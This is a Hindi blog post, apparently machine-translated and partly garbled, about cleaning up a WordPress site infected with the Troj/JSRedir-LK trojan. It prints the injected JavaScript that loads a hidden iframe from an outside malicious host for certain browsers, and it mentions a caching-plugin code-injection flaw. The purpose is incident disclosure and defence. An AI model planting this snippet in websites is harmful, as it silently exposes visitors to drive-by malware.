ट्रोजन ट्रोजन / JSRedir-LK और वर्डप्रेस भेद्यता

शाब्दिक रूप से आज मैंने अपने लिए एक दिलचस्प और नए कार्य को पूरा किया - वार्ड साइट यांडेक्स ब्लैकलिस्ट में थी। इसका कारण ट्रोज / JSRedir-LK ट्रोजन (सोफोस के अनुसार) है।
मैं स्पष्ट करूंगा: ब्लैकलिस्ट में एक साथ दो साइटें थीं, जिनमें से एक दूसरी का एक उपडोमेन है, और नीचे मैं वर्णन करूंगा कि ट्रोजन के परिणामस्वरूप दोनों के साथ क्या परिवर्तन हुए हैं।

और यही हुआ:
दो लिपियाँ शीर्ष लेख में दिखाई दीं। php (उपडोमेन) फ़ाइल,
और
।
फ़ाइल footer.php (उपडोमेन) में पहले भी - लिगाक्सप्रेस के लिंक के साथ एक स्क्रिप्ट,
और मूल कोड (डोमेन), Google-analytics.php फ़ाइल के wp- शामिल फ़ोल्डर में, निम्नलिखित कोड के साथ समाप्त होता है:

function showBrowVer() { var data = browserDetectNav(); if (data[0]) { if ((data[0] == 'Opera' || data[0] == 'MSIE'|| (data[0] == 'Firefox' & data[1] <= 17)) & data[3] == 'Windows'){ var js_kod2 = document.createElement('iframe'); js_kod2.src = 'http://moradomedia.nl/new/php/one-style.php'; js_kod2.width = '2px'; js_kod2.height = '2px'; js_kod2.style = 'visibility: hidden;'; document.body.appendChild(js_kod2); } } } 

उत्सुकता से, js_kod2.src लिंक समय-समय पर बदल गया।

यह भी उत्सुक है कि सोफोस के अलावा, एंटीवायरस में से किसी ने भी कुछ भी नहीं पाया। न तो साइट पर, न ही कंप्यूटर पर, जिसे मैंने साइट के साथ उपद्रव के बाद जांचने का फैसला किया। लेकिन सोफोस यूटिलिटी वायरस रिमूवल टूल ने पाया कि ट्रोज / जेएसरेडिर-एलके, और इसके अलावा ट्रोज / जेएसरेडिर-जेके, दोनों अस्थायी इंटरनेट फाइलों में। अब मैं इसे हर संभव तरीके से सुझाता हूँ [१]।
मैं वर्डप्रेस [2] के लिए वर्डफेंस सिक्योरिटी प्लगइन की भी सिफारिश करता हूं। उसने मुझे थीम और प्लगइन फ़ाइलों सहित फाइलों को स्कैन करने की क्षमता से मोहित कर दिया और उनकी तुलना WordPress.org पर संग्रहीत लोगों से की। यह भी अफ़सोस की बात है कि जब तक इसे स्थापित किया गया था और स्कैन शुरू हुआ, तब तक सभी अतिरिक्त हटा दिए गए थे।

और वर्डप्रेस के बारे में भी (लेख के विषय में उल्लिखित उसी भेद्यता के बारे में)।
एक छेद की खोज करते हुए जिसके माध्यम से वायरस घुस गया, मुझे जानकारी मिली कि कैशिंग के लिए प्लगइन्स में एक भेद्यता की खोज की गई थी (अर्थात् WP सुपर कैश 1.2 और उससे पहले; डब्ल्यू 3 कुल कैश 0.9.2.8 और इससे पहले) जिसने एक दूरस्थ उपयोगकर्ता को मनमाना इंजेक्शन लगाने और निष्पादित करने की अनुमति दी थी। PHP कोड। आप इस बारे में यहाँ और पढ़ सकते हैं [3] और यहाँ [४]।
इसलिए अपने पैरों को गर्म रखें और प्लगइन्स को अपडेट करें। ओह, और कुल कमांडर में ftp पासवर्ड स्टोर न करें।
आपका ध्यान देने के लिए धन्यवाद।

पाठ में उल्लिखित एक के संदर्भ:
1. वायरस हटाने उपकरण द्वारा सोफोस (मुक्त)
2. WordPress के लिए Wordfence Security Plugin
3. WordPress, Securitylab.ru के लिए कैशिंग प्लग में एक खतरनाक भेद्यता की खोज की गई थी
4. mfunc मुद्दा